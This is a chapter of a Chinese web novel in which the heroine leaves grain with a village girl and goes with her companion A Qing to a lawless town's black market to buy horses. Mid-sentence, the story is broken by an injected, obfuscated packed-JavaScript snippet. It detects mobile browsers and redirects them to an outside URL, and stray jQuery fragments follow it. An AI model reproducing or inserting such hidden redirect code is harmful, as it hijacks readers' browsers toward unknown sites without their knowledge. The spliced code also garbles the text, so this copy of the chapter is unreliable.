271.三不管
作品:《锦绣千秋,我在古代种田称帝》 “别怕,有好东西给你看。”
姜清芷牵起女孩的手,小白突然调皮地绕着两人打转,透明的尾巴扫过女孩脸颊,惊得她轻轻“呀”了一声。
走进屋内,月光透过破碎的窗纸洒在粮食堆上,小女孩瞪大了眼睛,看着里面的食物,惊讶得说不出话来。
姜清芷指着粮食,拉着女孩的手说:
“记住,这些粮食你每天拿出一点,分给还活着的村民。省着吃,一定要撑到我们回来。”
她又取出一包草药,仔细叮嘱:
“受伤的人用这些熬水喝,能消炎止痛。”
小女孩睁着大眼睛,似懂非懂地点头:
“姐姐,你一定会回来的,对吗?”
姜清芷心头一紧,将女孩紧紧拥入怀中:
“一定会!等姐姐搬来救兵,就带你们离开这个噩梦。”
月光在碎瓦上流淌,姜清芷牵着女孩往村外走时,忽听一阵急促的脚步声从拐角传来。
转过半塌的土地庙,只见阿青正倚着断墙擦拭短刀,刀刃映着她紧绷的侧脸,听见动静瞬间摆出防御姿态。
“小姐!”
看清来人后,阿青长舒一口气,目光却落在女孩身上,
“你这是......”
“我在村西废宅藏了粮食。”
姜清芷将女孩往前带了半步,
“她会守着物资,等我们搬来救兵。”
说着从怀中掏出半块打火石,塞进女孩掌心:
“遇到危险就去后院枯井旁,生烟为号。”
女孩突然攥紧姜清芷的裙摆,仰头望向阿青:
“姐姐会带着骑兵回来吗?”
稚嫩的声音在寂静的废墟中回荡,惊起远处枯树上的夜枭。
阿青蹲下身,用缠着绷带的手替她理了理乱发,摸到她后颈未愈的鞭痕时,喉结狠狠滚动:
“会的。我们跑得越快,你们就能少受一天苦。”
姜清芷解下腰间水囊递给女孩,囊口还沾着她今早嚼碎的草药残渣:
“渴了就喝,别靠近水井。”
姜清芷最后一次将女孩搂进怀里,闻到她发间还沾着母亲身上的艾草香,这让她想起幼时在药庐的时光。
女孩突然从怀中掏出个布包,里面是几块硬得像石头的红薯干:
“姐姐路上吃。”
“我们走。”
姜清芷看着小女孩,和阿青走了。
暮色将两人的影子拉得极长,踩在布满碎石的驿道上发出细碎声响。
姜清芷望着天边渐渐黯淡的云,额角的碎发被汗水黏在脸上,粗布裙摆早已沾满泥污。
她深吸一口气,转头看向同样面色疲惫的阿青:
“阿青,照这样走下去,到边关至少还得半月。林相的人随时会折返,村子撑不了那么久。”
阿青握紧腰间的短刀,刀刃在暮色中泛着冷光。
她盯着远处若隐若现的山峦轮廓,突然压低声音:
“往西十里有个叫‘三不管’的镇子,表面是商旅歇脚的地方,地下藏着黑市。不过......”
她顿了顿,目光中闪过一丝警惕,
“那里鱼龙混杂,买卖的多是来路不明的东西,连官府都不愿插手。”
姜清芷攥紧衣角,指甲几乎掐进掌心。
她想起小女孩临别时攥着红薯干的模样,想起老槐树下凝固的血泊,心一横:
“再危险也得去。马匹和干粮都得置办,若是能买到些趁手的兵器更好。”
她伸手按住阿青的肩膀,
“你熟悉这些门道,一会儿进了镇子,一切听你的。”
阿青点点头,从怀中掏出半块发黑的面饼掰成两半,递给姜清芷一块:
“先填填肚子,黑市入夜才开张。咱们得趁着天光找好落脚的地方,免得被人盯上。”
两人蹲在路边啃着硬如石块的面饼,远处传来狼嚎,惊起一阵寒鸦。
姜清芷望着暮色中盘旋的黑影,默默在心底盘算:
无论如何,都要在三日内凑齐物资,快马加鞭赶往边关。
两人摸黑进了“三不管”镇。
整条街只有零星几盏油灯亮着,光影里晃过几个神色凶狠的男人,盯着她们交头接耳。
阿青把姜清芷往身后拉了拉,拐进一条更暗的巷子,在一家挂着破灯笼的客栈前停下。
“就这儿。”
阿青扔了几枚铜钱给柜台打瞌睡的老头,
“要间安静的上房。”
老头浑浊的眼睛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15929554|166364||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在两人身上扫了扫,抓起钱往抽屉一塞,丢出把锈迹斑斑的钥匙。
房间里霉味刺鼻,窗户连窗纸都没有,风呼呼往里灌。
姜清芷刚坐下,阿青就凑到她耳边小声说:
“一会儿我先出去探探路,你把门关好,谁叫都别开。”
说着从包袱里摸出把匕首放在桌上,
“防身用。”
等阿青走后,姜清芷怎么也睡不着。
她数着房梁上的裂缝,听着外头时不时传来的叫骂声和摔东西的响动。
也不知过了多久,窗户突然传来三声轻敲。
她心跳猛地加快,攥着匕首慢慢挪过去,就见阿青翻墙进来,头发上还沾着草屑。
“打听到了。”
阿青抹了把脸上的灰,
“黑市在后街当铺的地窖,寅时开市。不过......”
她皱起眉头,
“那里的马都是偷来抢来的,好马脾气都烈,不好驯服。”
姜清芷握紧拳头:
“再烈也得试试。”
姜清芷指尖探入衣襟暗袋,一阵微光闪过,两张银票出现在掌心。
这是她从空间里取出的积蓄,银票边角还带着淡淡的樟木香。
“先拿着,不够再取。”
她将银票塞进阿青手中,又摸出一包自制的硫磺粉,
“若是遇到危险,撒这个制造烟雾。”
寅时的梆子声刚落,两人便顺着蛛网密布的暗道潜入黑市。
地窖里弥漫着血腥与汗臭混杂的气息,铁笼里关着嘶鸣的马匹,墙角堆着锈迹斑斑的兵器。
一个独眼商人晃着油灯凑过来,目光在她们身上逡巡:
“两位娘子,可是要买胭脂?”
话音未落,便发出一阵令人作呕的怪笑。
阿青挡在姜清芷身前,将银票在油灯下展开:
“听说有西域来的汗血马,带我们瞧瞧。”
独眼商人的瞳孔猛地收缩,伸手要抓银票,姜清芷却先一步将银票收回,摸出一小块碎银拍在桌上:
“定金。”
她的目光扫过角落里拴着的黑马,那马浑身腱子肉紧绷,鬃毛凌乱却透着一股桀骜,前蹄不安地刨着地面,铁笼都被撞得哐当作响。

